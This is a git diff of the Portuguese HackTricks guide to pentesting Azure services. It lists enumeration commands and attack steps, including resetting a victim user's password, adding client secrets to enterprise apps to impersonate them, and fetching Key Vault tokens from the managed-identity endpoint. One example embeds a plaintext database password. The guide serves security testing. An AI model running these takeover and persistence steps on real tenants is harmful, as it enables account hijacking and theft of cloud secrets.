$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose
@@ -318,7 +318,7 @@ Para mais informações sobre grupos do Entra ID, verifique:
{{#tabs }}
{{#tab name="az cli" }}
```powershell
```bash
# Enumerate groups
az ad group list
az ad group list --query "[].[displayName]" -o table
@@ -347,7 +347,7 @@ az role assignment list --include-groups --include-classic-administrators true -
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
```bash
# Enumerate Groups
Get-AzureADGroup -All $true
# Get info of 1 group
@@ -375,7 +375,7 @@ Get-AzureADGroup -ObjectId <id> | Get-AzureADGroupAppRoleAssignment | fl *
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Get all groups
Get-AzADGroup
# Get details of a group
@@ -394,11 +394,11 @@ Get-AzRoleAssignment -ResourceGroupName <resource_group_name>
#### Adicionar usuário ao grupo
Os proprietários do grupo podem adicionar novos usuários ao grupo
```powershell
```bash
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
```
> [!WARNING]
> Grupos podem ser dinâmicos, o que basicamente significa que **se um usuário atender a certas condições, ele será adicionado a um grupo**. Claro, se as condições forem baseadas em **atributos** que um **usuário** pode **controlar**, ele pode abusar desse recurso para **entrar em outros grupos**.\
> Grupos podem ser dinâmicos, o que basicamente significa que **se um usuário cumprir certas condições, ele será adicionado a um grupo**. Claro, se as condições forem baseadas em **atributos** que um **usuário** pode **controlar**, ele poderia abusar dessa funcionalidade para **entrar em outros grupos**.\
> Confira como abusar de grupos dinâmicos na página a seguir:
{{#ref}}
@@ -434,7 +434,7 @@ az ad sp list --query '[?length(keyCredentials) > `0` || length(passwordCredenti
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
```bash
# Get Service Principals
Get-AzureADServicePrincipal -All $true
# Get details about a SP
@@ -455,7 +455,7 @@ Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalMembersh
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Get SPs
Get-AzADServicePrincipal
# Get info of 1 SP
@@ -468,7 +468,7 @@ Get-AzRoleAssignment -ServicePrincipalName <String>
{{#endtab }}
{{#tab name="Raw" }}
```powershell
```bash
$Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
@@ -489,7 +489,7 @@ Headers = @{
<details>
<summary>Liste e tente adicionar um segredo de cliente em cada Aplicativo Empresarial</summary>
```powershell
```bash
# Just call Add-AzADAppSecret
Function Add-AzADAppSecret
{
@@ -604,7 +604,7 @@ Para mais informações sobre Aplicações, consulte:
Quando um App é gerado, 2 tipos de permissões são concedidas:
- **Permissões** dadas ao **Service Principal**
- **Permissões** que o **app** pode ter e usar **em nome do usuário**.
- **Permissões** que o **app** pode ter e usar em **nome do usuário**.
{{#tabs }}
{{#tab name="az cli" }}
@@ -626,7 +626,7 @@ az ad app list --query '[?length(keyCredentials) > `0` || length(passwordCredent
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
```bash
# List all registered applications
Get-AzureADApplication -All $true
# Get details of an application
@@ -639,7 +639,7 @@ Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Get Apps
Get-AzADApplication
# Get details of one App
@@ -659,7 +659,7 @@ Get-AzADAppCredential
> [!NOTE]
> Uma string secreta que o aplicativo usa para provar sua identidade ao solicitar um token é a senha do aplicativo.\
> Portanto, se encontrar esta **senha**, você pode acessar como o **service principal** **dentro** do **tenant**.\
> Observe que esta senha só é visível quando gerada (você pode alterá-la, mas não pode obtê-la novamente).\
> Note que esta senha só é visível quando gerada (você pode alterá-la, mas não pode obtê-la novamente).\
> O **proprietário** do **aplicativo** pode **adicionar uma senha** a ele (para que possa se passar por ele).\
> Logins como esses service principals **não são marcados como arriscados** e **não terão MFA.**
@@ -717,7 +717,7 @@ az role assignment list --all --query "[?principalName=='carlos@carloshacktricks
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Get role assignments on the subscription
Get-AzRoleDefinition
# Get Role definition
@@ -729,7 +729,7 @@ Get-AzRoleAssignment -Scope /subscriptions/<subscription-id>/resourceGroups/<res
{{#endtab }}
{{#tab name="Raw" }}
```powershell
```bash
# Get permissions over a resource using ARM directly
$Token = (Get-AzAccessToken).Token
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Research/providers/Microsoft.Compute/virtualMachines/infradminsrv/providers/Microsoft.Authorization/permissions?api-version=2015-07-01'
@@ -801,7 +801,7 @@ az rest --method GET \
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
```bash
# Get all available role templates
Get-AzureADDirectoryroleTemplate
# Get enabled roles (Assigned roles)
@@ -828,7 +828,7 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl *
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
```bash
# Enumerate Devices
Get-AzureADDevice -All $true | fl *
# List all the active devices (and not the stale devices)
@@ -850,8 +850,8 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
{{#endtabs }}
> [!WARNING]
> Se um dispositivo (VM) estiver **juntado ao AzureAD**, usuários do AzureAD poderão **fazer login**.\
> Além disso, se o usuário logado for **Proprietário** do dispositivo, ele será **administrador local**.
> Se um dispositivo (VM) estiver **AzureAD joined**, usuários do AzureAD poderão **fazer login**.\
> Além disso, se o usuário logado for **Owner** do dispositivo, ele será **administrador local**.
### Unidades Administrativas
@@ -876,7 +876,7 @@ az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administr
{{#endtab }}
{{#tab name="AzureAD" }}
```powershell
```bash
# Get Administrative Units
Get-AzureADMSAdministrativeUnit
Get-AzureADMSAdministrativeUnit -Id <id>
@@ -923,7 +923,7 @@ Quando o PIM está habilitado, é possível configurar cada função com certos
- Exigir justificativa na ativação
- Exigir informações de ticket na ativação
- Exigir aprovação para ativar
- Tempo máximo para expirar as atribuições elegíveis&#x20;
- Tempo máximo para expirar as atribuições elegíveis
- Muitas mais configurações sobre quando e quem enviar notificações quando certas ações acontecem com esse papel
### Políticas de Acesso Condicional <a href="#title-text" id="title-text"></a>
@@ -947,7 +947,7 @@ Permite que o administrador o configure para **bloquear** tentativas quando o ri
### Proteção de Senha do Entra
A Proteção de Senha do Entra ([https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) é um recurso de segurança que **ajuda a prevenir o abuso de senhas fracas ao bloquear contas quando várias tentativas de login malsucedidas ocorrem**.\
A Proteção de Senha do Entra ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) é um recurso de segurança que **ajuda a prevenir o abuso de senhas fracas ao bloquear contas quando várias tentativas de login malsucedidas ocorrem**.\
Também permite **proibir uma lista de senhas personalizadas** que você precisa fornecer.
Pode ser **aplicada tanto** no nível da nuvem quanto no Active Directory local.

6
src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md
View File

@@ -33,7 +33,7 @@ https://<Account-Name>.documents.azure.com:443/
{% endcode %}
#### Bancos de Dados
Dentro de uma conta, você pode criar um ou mais bancos de dados, que servem como agrupamentos lógicos de contêineres. Um banco de dados atua como um limite para gerenciamento de recursos e permissões de usuário. Os bancos de dados podem compartilhar a capacidade provisionada entre seus contêineres ou alocar capacidade dedicada para contêineres individuais.
Dentro de uma conta, você pode criar um ou mais bancos de dados, que servem como agrupamentos lógicos de contêineres. Um banco de dados atua como um limite para gerenciamento de recursos e permissões de usuário. Os bancos de dados podem compartilhar a capacidade provisionada entre seus contêineres ou alocar capacidade dedicada a contêineres individuais.
#### Contêineres
A unidade central de armazenamento de dados é o contêiner, que contém documentos JSON e é automaticamente indexado para consultas eficientes. Os contêineres são escaláveis de forma elástica e distribuídos entre partições, que são determinadas por uma chave de partição definida pelo usuário. A chave de partição é crítica para garantir desempenho ideal e distribuição uniforme de dados. Por exemplo, um contêiner pode armazenar dados de clientes, com "customerId" como a chave de partição.
@@ -83,7 +83,7 @@ az cosmosdb sql user-defined-function list --account-name <AccountName> --contai
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
```bash
Get-Command -Module Az.CosmosD
# List all Cosmos DB accounts in a specified resource group.
@@ -243,7 +243,7 @@ az cosmosdb identity show --resource-group <ResourceGroupName> --name <AccountNa
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
```bash
Get-Command -Module Az.CosmosDB
# List all Cosmos DB accounts in a specified resource group.

10
src/pentesting-cloud/azure-security/az-services/az-file-shares.md
View File

@@ -4,7 +4,7 @@
## Informações Básicas
**Azure Files** é um serviço de armazenamento de arquivos em nuvem totalmente gerenciado que fornece armazenamento de arquivos compartilhados acessível via protocolos padrão **SMB (Server Message Block)** e **NFS (Network File System)**. Embora o principal protocolo utilizado seja o SMB, os compartilhamentos de arquivos NFS do Azure não são suportados para Windows (de acordo com a [**docs**](https://learn.microsoft.com/en-us/azure/storage/files/files-nfs-protocol)). Ele permite criar compartilhamentos de arquivos em rede altamente disponíveis que podem ser acessados simultaneamente por várias máquinas virtuais (VMs) ou sistemas locais, permitindo o compartilhamento de arquivos sem interrupções entre ambientes.
**Azure Files** é um serviço de armazenamento de arquivos em nuvem totalmente gerenciado que fornece armazenamento de arquivos compartilhados acessível via protocolos padrão **SMB (Server Message Block)** e **NFS (Network File System)**. Embora o protocolo principal utilizado seja o SMB, os compartilhamentos de arquivos NFS do Azure não são suportados para Windows (de acordo com a [**docs**](https://learn.microsoft.com/en-us/azure/storage/files/files-nfs-protocol)). Ele permite criar compartilhamentos de arquivos em rede altamente disponíveis que podem ser acessados simultaneamente por várias máquinas virtuais (VMs) ou sistemas locais, permitindo o compartilhamento de arquivos sem interrupções entre ambientes.
### Camadas de Acesso
@@ -23,7 +23,7 @@
### Autenticações Suportadas via SMB
- **Autenticação AD DS local**: Usa credenciais do Active Directory local sincronizadas com o Microsoft Entra ID para acesso baseado em identidade. Requer conectividade de rede com o AD DS local.
- **Autenticação AD DS local**: Utiliza credenciais do Active Directory local sincronizadas com o Microsoft Entra ID para acesso baseado em identidade. Requer conectividade de rede com o AD DS local.
- **Autenticação dos Serviços de Domínio do Microsoft Entra**: Aproveita os Serviços de Domínio do Microsoft Entra (AD baseado em nuvem) para fornecer acesso usando credenciais do Microsoft Entra.
- **Kerberos do Microsoft Entra para Identidades Híbridas**: Permite que usuários do Microsoft Entra autentiquem compartilhamentos de arquivos do Azure pela internet usando Kerberos. Suporta VMs unidas ao Microsoft Entra híbrido ou unidas ao Microsoft Entra sem exigir conectividade com controladores de domínio locais. Mas não suporta identidades apenas em nuvem.
- **Autenticação Kerberos AD para Clientes Linux**: Permite que clientes Linux usem Kerberos para autenticação SMB via AD DS local ou Serviços de Domínio do Microsoft Entra.
@@ -56,7 +56,7 @@ az storage file download-batch -d . --account-name <name> --source <share-name>
{{#endtab}}
{{#tab name="Az PowerShell"}}
```powershell
```bash
Get-AzStorageAccount
# List File Shares
@@ -90,11 +90,11 @@ Get-AzStorageFile -ShareName "<share-name>" -Context (New-AzStorageContext -Stor
Estes são os scripts propostos pelo Azure no momento da escrita para conectar um File Share:
Você precisa substituir os espaços reservados `<STORAGE-ACCOUNT>`, `<ACCESS-KEY>` e `<FILE-SHARE-NAME>`.
Você precisa substituir os placeholders `<STORAGE-ACCOUNT>`, `<ACCESS-KEY>` e `<FILE-SHARE-NAME>`.
{{#tabs}}
{{#tab name="Windows"}}
```powershell
```bash
$connectTestResult = Test-NetConnection -ComputerName filescontainersrdtfgvhb.file.core.windows.net -Port 445
if ($connectTestResult.TcpTestSucceeded) {
# Save the password so the drive will persist on reboot

8
src/pentesting-cloud/azure-security/az-services/az-keyvault.md
View File

@@ -4,7 +4,7 @@
## Informações Básicas
**Azure Key Vault** é um serviço de nuvem fornecido pela Microsoft Azure para armazenar e gerenciar informações sensíveis de forma segura, como **segredos, chaves, certificados e senhas**. Ele atua como um repositório centralizado, oferecendo acesso seguro e controle detalhado usando o Azure Active Directory (Azure AD). Do ponto de vista de segurança, o Key Vault fornece **proteção de módulo de segurança de hardware (HSM)** para chaves criptográficas, garante que os segredos sejam criptografados tanto em repouso quanto em trânsito, e oferece gerenciamento de acesso robusto por meio de **controle de acesso baseado em função (RBAC)** e políticas. Também possui **registro de auditoria**, integração com o Azure Monitor para rastreamento de acesso e rotação automática de chaves para reduzir o risco de exposição prolongada de chaves.
**Azure Key Vault** é um serviço de nuvem fornecido pela Microsoft Azure para armazenar e gerenciar informações sensíveis de forma segura, como **segredos, chaves, certificados e senhas**. Ele atua como um repositório centralizado, oferecendo acesso seguro e controle detalhado usando o Azure Active Directory (Azure AD). Do ponto de vista de segurança, o Key Vault fornece **proteção de módulo de segurança de hardware (HSM)** para chaves criptográficas, garante que os segredos sejam criptografados tanto em repouso quanto em trânsito, e oferece gerenciamento de acesso robusto por meio de **controle de acesso baseado em função (RBAC)** e políticas. Ele também possui **registro de auditoria**, integração com o Azure Monitor para rastreamento de acesso e rotação automática de chaves para reduzir o risco de exposição prolongada de chaves.
Veja a [visão geral da API REST do Azure Key Vault](https://learn.microsoft.com/en-us/azure/key-vault/general/about-keys-secrets-certificates) para detalhes completos.
@@ -19,7 +19,7 @@ Onde:
- `object-name` é o nome **único** do objeto dentro do cofre de chaves
- `object-version` é gerado pelo sistema e opcionalmente usado para endereçar uma **versão única de um objeto**.
Para acessar os segredos armazenados no cofre, é possível escolher entre 2 modelos de permissões ao criar o cofre:
Para acessar os segredos armazenados no cofre, é possível selecionar entre 2 modelos de permissões ao criar o cofre:
- **Política de acesso ao cofre**
- **Azure RBAC** (mais comum e recomendado)
@@ -56,7 +56,7 @@ Além disso, é possível criar um **endpoint privado** para permitir uma conex
Quando um cofre de chaves é criado, o número mínimo de dias para permitir a exclusão é 7. O que significa que sempre que você tentar excluir esse cofre de chaves, ele precisará **de pelo menos 7 dias para ser excluído**.
No entanto, é possível criar um cofre com **proteção contra purga desativada**, o que permite que o cofre de chaves e os objetos sejam purgados durante o período de retenção. Embora, uma vez que essa proteção esteja habilitada para um cofre, não possa ser desativada.
No entanto, é possível criar um cofre com **proteção contra purga desativada**, o que permite que o cofre de chaves e os objetos sejam purgados durante o período de retenção. Embora, uma vez que essa proteção esteja habilitada para um cofre, não pode ser desativada.
## Enumeração
@@ -92,7 +92,7 @@ az keyvault secret show --id https://<KeyVaultName>.vault.azure.net/secrets/<Key
{{#endtab }}
{{#tab name="Az Powershell" }}
```powershell
```bash
# Get keyvault token
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER

6
src/pentesting-cloud/azure-security/az-services/az-logic-apps.md
View File

@@ -19,11 +19,11 @@ Logic Apps fornece um designer visual para criar fluxos de trabalho com uma **am
<figure><img src="../../../images/image (197).png" alt=""><figcaption></figcaption></figure>
ou verificar o código na seção "**Visualização do código do Logic app**".
ou verificar o código na seção "**Visualização do código da Logic App**".
### Proteção SSRF
Mesmo que você encontre o **Logic App vulnerável a SSRF**, você não conseguirá acessar as credenciais da metadata, pois Logic Apps não permite isso.
Mesmo que você encontre a **Logic App vulnerável a SSRF**, você não conseguirá acessar as credenciais da metadata, pois Logic Apps não permite isso.
Por exemplo, algo como isso não retornará o token:
```bash
@@ -47,7 +47,7 @@ az logic workflow identity show --name <LogicAppName> --resource-group <Resource
{{#endtab }}
{{#tab name="Az PowerSHell" }}
```powershell
```bash
# List
Get-AzLogicApp -ResourceGroupName <ResourceGroupName>
# Get info

6
src/pentesting-cloud/azure-security/az-services/az-mysql.md
View File

@@ -29,7 +29,7 @@ O Azure Database for MySQL é um serviço de banco de dados relacional totalment
- Oferece funcionalidade de parar/iniciar para economia de custos.
### Principais Recursos
* **Gerenciamento de Servidor**: O recurso **ad-admin** permite gerenciar administradores do Azure Active Directory (AAD) para servidores MySQL, proporcionando controle sobre o acesso administrativo via credenciais AAD, enquanto o recurso **identity** permite a atribuição e gerenciamento de Identidades Gerenciadas do Azure, oferecendo autenticação segura e sem credenciais para acessar recursos do Azure.
* **Gerenciamento de Servidor**: O recurso **ad-admin** permite gerenciar administradores do Azure Active Directory (AAD) para servidores MySQL, proporcionando controle sobre o acesso administrativo via credenciais AAD, enquanto o recurso **identity** possibilita a atribuição e gerenciamento de Identidades Gerenciadas do Azure, oferecendo autenticação segura e sem credenciais para acessar recursos do Azure.
* **Gerenciamento de Ciclo de Vida**: opções para iniciar ou parar um servidor, excluir uma instância de servidor flexível, reiniciar um servidor para aplicar rapidamente alterações de configuração e aguardar para garantir que um servidor atenda a condições específicas antes de prosseguir com scripts de automação.
* **Segurança e Rede**: pode gerenciar regras de firewall do servidor para acesso seguro ao banco de dados e desanexar configurações de rede virtual conforme necessário.
* **Proteção de Dados e Backup**: inclui opções para gerenciar backups de servidores flexíveis para recuperação de dados, realizar restauração geográfica para recuperar um servidor em uma região diferente, exportar backups de servidores para uso externo (em Pré-visualização) e restaurar um servidor a partir de backup para um ponto específico no tempo.
@@ -73,7 +73,7 @@ az mysql flexible-server server-logs list --resource-group <resource-group-name>
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
```bash
Get-Command -Module Az.MySql
# Get all flexible servers in a resource group
@@ -176,6 +176,8 @@ az mysql flexible-server deploy run \
* Procure uma maneira de acessar com mysql flexible-server ad-admin para verificar se é um método de privesc
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

4
src/pentesting-cloud/azure-security/az-services/az-postgresql.md
View File

@@ -82,7 +82,7 @@ az postgres flexible-server server-logs list --resource-group <resource-group-na
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
```bash
Get-Command -Module Az.PostgreSql
# List flexible-servers in a resource group
@@ -162,7 +162,7 @@ Aprenda e pratique Hacking GCP: <img src="../../../.gitbook/assets/image (2) (1)
<details>
<summary>Suporte ao HackTricks</summary>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**

26
src/pentesting-cloud/azure-security/az-services/az-sql.md
View File

@@ -4,17 +4,17 @@
## Azure SQL
Azure SQL é uma família de produtos gerenciados, seguros e inteligentes que utilizam o **motor de banco de dados SQL Server na nuvem Azure**. Isso significa que você não precisa se preocupar com a administração física de seus servidores e pode se concentrar em gerenciar seus dados.
Azure SQL é uma família de produtos gerenciados, seguros e inteligentes que utilizam o **motor de banco de dados SQL Server na nuvem Azure**. Isso significa que você não precisa se preocupar com a administração física de seus servidores, e pode se concentrar em gerenciar seus dados.
Azure SQL consiste em três ofertas principais:
1. **Azure SQL Database**: Este é um **serviço de banco de dados totalmente gerenciado**, que permite hospedar bancos de dados individuais na nuvem Azure. Oferece inteligência embutida que aprende seus padrões únicos de banco de dados e fornece recomendações personalizadas e ajuste automático.
2. **Azure SQL Managed Instance**: Este é para implantações em maior escala, com toda a instância do SQL Server. Oferece quase 100% de compatibilidade com o mais recente motor de banco de dados SQL Server on-premises (Edição Enterprise), que fornece uma implementação nativa de rede virtual (VNet) que aborda preocupações comuns de segurança, e um modelo de negócios favorável para clientes do SQL Server on-premises.
3. **Azure SQL Server em VMs Azure**: Este é Infraestrutura como Serviço (IaaS) e é melhor para migrações onde você deseja **controle sobre o sistema operacional e a instância do SQL Server**, como se fosse um servidor rodando on-premises.
2. **Azure SQL Managed Instance**: Este é para implantações em maior escala, com toda a instância do SQL Server. Oferece quase 100% de compatibilidade com o mais recente SQL Server local (Edição Enterprise), que fornece uma implementação nativa de rede virtual (VNet) que aborda preocupações comuns de segurança, e um modelo de negócios favorável para clientes do SQL Server local.
3. **Azure SQL Server em VMs Azure**: Este é Infraestrutura como Serviço (IaaS) e é melhor para migrações onde você deseja **controle sobre o sistema operacional e a instância do SQL Server**, como se fosse um servidor rodando localmente.
### Azure SQL Database
**Azure SQL Database** é uma **plataforma de banco de dados totalmente gerenciada como serviço (PaaS)** que fornece soluções de banco de dados relacionais escaláveis e seguras. É construída nas mais recentes tecnologias do SQL Server e elimina a necessidade de gerenciamento de infraestrutura, tornando-se uma escolha popular para aplicações baseadas na nuvem.
**Azure SQL Database** é uma **plataforma de banco de dados totalmente gerenciada como serviço (PaaS)** que fornece soluções de banco de dados relacionais escaláveis e seguras. É construída nas mais recentes tecnologias do SQL Server e elimina a necessidade de gerenciamento de infraestrutura, tornando-se uma escolha popular para aplicações baseadas em nuvem.
#### Principais Recursos
@@ -44,7 +44,7 @@ O Azure SQL Database suporta opções de implantação flexíveis para atender a
- **Bancos de Dados Únicos**: Cada banco de dados é isolado e possui seus próprios recursos dedicados de computação, memória e armazenamento. Os recursos podem ser escalados dinamicamente (para cima ou para baixo) sem tempo de inatividade (1–128 vCores, 32 GB–4 TB de armazenamento, e até 128 TB).
- **Pools Elásticos**: Compartilham recursos entre vários bancos de dados em um pool para maximizar a eficiência e economizar custos. Os recursos também podem ser escalados dinamicamente para todo o pool.
- **Flexibilidade de Nível de Serviço**: Comece pequeno com um banco de dados único no nível de Uso Geral. Faça upgrade para os níveis Crítico para Negócios ou Hyperscale à medida que as necessidades crescem.
- **Flexibilidade de Nível de Serviço**: Comece pequeno com um único banco de dados no nível de Uso Geral. Faça upgrade para os níveis Crítico para Negócios ou Hiperscale à medida que as necessidades crescem.
- **Opções de Escalonamento**: Escalonamento Dinâmico ou Alternativas de Autoscaling.
#### Monitoramento e Otimização Integrados
@@ -62,7 +62,7 @@ O Azure SQL Database suporta opções de implantação flexíveis para atender a
### Azure SQL Managed Instance
**Azure SQL Managed Instance** é um motor de banco de dados como Serviço (PaaS) que oferece quase 100% de compatibilidade com o SQL Server e lida automaticamente com a maioria das tarefas de gerenciamento (por exemplo, atualização, patching, backups, monitoramento). Ele fornece uma solução em nuvem para migrar bancos de dados SQL Server on-premises com mudanças mínimas.
**Azure SQL Managed Instance** é um motor de banco de dados como serviço (PaaS) que oferece quase 100% de compatibilidade com o SQL Server e lida automaticamente com a maioria das tarefas de gerenciamento (por exemplo, atualização, patching, backups, monitoramento). Ele fornece uma solução em nuvem para migrar bancos de dados SQL Server locais com mínimas alterações.
#### Níveis de Serviço
@@ -77,15 +77,15 @@ O Azure SQL Database suporta opções de implantação flexíveis para atender a
### Azure SQL Virtual Machines
**Azure SQL Virtual Machines** é melhor para migrações onde você deseja **controle sobre o sistema operacional e a instância do SQL Server**, como se fosse um servidor rodando on-premises. Pode ter diferentes tamanhos de máquina e uma ampla seleção de versões e edições do SQL Server.
**Azure SQL Virtual Machines** é melhor para migrações onde você deseja **controle sobre o sistema operacional e a instância do SQL Server**, como se fosse um servidor rodando localmente. Pode ter diferentes tamanhos de máquina e uma ampla seleção de versões e edições do SQL Server.
#### Principais Recursos
**Backup Automatizado**: Agende backups para bancos de dados SQL.
**Patching Automático**: Automatiza a instalação de atualizações do Windows e do SQL Server durante uma janela de manutenção.
**Integração com Azure Key Vault**: Configura automaticamente o Key Vault para VMs do SQL Server.
**Integração com Defender for Cloud**: Veja as recomendações do Defender for SQL no portal.
**Flexibilidade de Versão/Edição**: Altere os metadados da versão ou edição do SQL Server sem reimplantar a VM.
**Integração com Defender for Cloud**: Visualize recomendações do Defender for SQL no portal.
**Flexibilidade de Versão/Edição**: Altere os metadados da versão ou edição do SQL Server sem redistribuir a VM.
#### Recursos de Segurança
@@ -166,7 +166,7 @@ az sql vm show --resource-group <res-grp> --name <name>
{{#endtab}}
{{#tab name="Az PowerShell"}}
```powershell
```bash
# List Servers
Get-AzSqlServer -ResourceGroupName "<resource-group-name>"
@@ -208,8 +208,8 @@ Get-AzSqlVM
### Conectar e executar consultas SQL
Você pode encontrar uma string de conexão (contendo credenciais) do exemplo [enumerando um Az WebApp](az-app-services.md):
```powershell
Você pode encontrar uma string de conexão (contendo credenciais) no exemplo [enumerando um Az WebApp](az-app-services.md):
```bash
function invoke-sql{
param($query)
$Connection_string = "Server=tcp:supercorp.database.windows.net,1433;Initial Catalog=flag;Persist Security Info=False;User ID=db_read;Password=gAegH!324fAG!#1fht;MultipleActiveResultSets=False;Encrypt=True;TrustServerCertificate=False;Connection Timeout=30;"
@@ -228,7 +228,7 @@ $Connection.Close()
invoke-sql 'Select Distinct TABLE_NAME From information_schema.TABLES;'
```
Você também pode usar sqlcmd para acessar o banco de dados. É importante saber se o servidor permite conexões públicas `az sql server show --name <server-name> --resource-group <resource-group>`, e também se a regra do firewall permite que nosso IP acesse:
```powershell
```bash
sqlcmd -S <sql-server>.database.windows.net -U <server-user> -P <server-passworkd> -d <database>
```
## Referências

34
src/pentesting-cloud/azure-security/az-services/az-storage.md
View File

@@ -16,8 +16,8 @@ As Contas de Armazenamento do Azure são serviços fundamentais no Microsoft Azu
**Opções de configuração de segurança**:
- **Exigir transferência segura para operações da API REST**: Exigir TLS em qualquer comunicação com o armazenamento.
- **Permite habilitar acesso anônimo em contêineres individuais**: Caso contrário, não será possível habilitar acesso anônimo no futuro.
- **Habilitar acesso com chave da conta de armazenamento**: Caso contrário, o acesso com Chaves Compartilhadas será proibido.
- **Permitir acesso anônimo em contêineres individuais**: Caso contrário, não será possível habilitar o acesso anônimo no futuro.
- **Habilitar acesso à chave da conta de armazenamento**: Caso contrário, o acesso com Chaves Compartilhadas será proibido.
- **Versão mínima do TLS**.
- **Escopo permitido para operações de cópia**: Permitir de qualquer conta de armazenamento, de qualquer conta de armazenamento do mesmo inquilino Entra ou de conta de armazenamento com endpoints privados na mesma rede virtual.
@@ -37,7 +37,7 @@ As Contas de Armazenamento do Azure são serviços fundamentais no Microsoft Azu
**Opções de proteção de dados**:
- **Restauração ponto a ponto para contêineres**: Permite restaurar contêineres para um estado anterior.
- Requer versionamento, feed de alterações e exclusão suave para serem habilitados.
- Exige versionamento, feed de alterações e exclusão suave de blobs para ser habilitado.
- **Habilitar exclusão suave para blobs**: Habilita um período de retenção em dias para blobs excluídos (mesmo sobrescritos).
- **Habilitar exclusão suave para contêineres**: Habilita um período de retenção em dias para contêineres excluídos.
- **Habilitar exclusão suave para compartilhamentos de arquivos**: Habilita um período de retenção em dias para compartilhamentos de arquivos excluídos.
@@ -53,7 +53,7 @@ As Contas de Armazenamento do Azure são serviços fundamentais no Microsoft Azu
### Endpoints de Armazenamento
<table data-header-hidden><thead><tr><th width="197">Serviço de Armazenamento</th><th>Endpoint</th></tr></thead><tbody><tr><td><strong>Armazenamento de Blobs</strong></td><td><code>https://&#x3C;storage-account>.blob.core.windows.net</code><br><br><code>https://&#x3C;stg-acc>.blob.core.windows.net/&#x3C;container-name>?restype=container&#x26;comp=list</code></td></tr><tr><td><strong>Armazenamento de Data Lake</strong></td><td><code>https://&#x3C;storage-account>.dfs.core.windows.net</code></td></tr><tr><td><strong>Azure Files</strong></td><td><code>https://&#x3C;storage-account>.file.core.windows.net</code></td></tr><tr><td><strong>Armazenamento de Filas</strong></td><td><code>https://&#x3C;storage-account>.queue.core.windows.net</code></td></tr><tr><td><strong>Armazenamento de Tabelas</strong></td><td><code>https://&#x3C;storage-account>.table.core.windows.net</code></td></tr></tbody></table>
<table data-header-hidden><thead><tr><th width="197">Serviço de Armazenamento</th><th>Endpoint</th></tr></thead><tbody><tr><td><strong>Armazenamento de Blobs</strong></td><td><code>https://<storage-account>.blob.core.windows.net</code><br><br><code>https://<stg-acc>.blob.core.windows.net/<container-name>?restype=container&comp=list</code></td></tr><tr><td><strong>Armazenamento de Data Lake</strong></td><td><code>https://<storage-account>.dfs.core.windows.net</code></td></tr><tr><td><strong>Azure Files</strong></td><td><code>https://<storage-account>.file.core.windows.net</code></td></tr><tr><td><strong>Armazenamento de Filas</strong></td><td><code>https://<storage-account>.queue.core.windows.net</code></td></tr><tr><td><strong>Armazenamento de Tabelas</strong></td><td><code>https://<storage-account>.table.core.windows.net</code></td></tr></tbody></table>
### Exposição Pública
@@ -130,7 +130,7 @@ CanonicalizedResource;
StringToSign = Date + "\n"
CanonicalizedResource
```
Então, para usar a chave, pode ser feito no cabeçalho de Autorização seguindo a sintaxe:
Então, para usar a chave, pode ser feito no cabeçalho Authorization seguindo a sintaxe:
```bash
Authorization="[SharedKey|SharedKeyLite] <AccountName>:<Signature>"
#e.g.
@@ -148,7 +148,7 @@ As Signaturas de Acesso Compartilhado (SAS) são URLs seguras e com tempo limita
#### Tipos de SAS
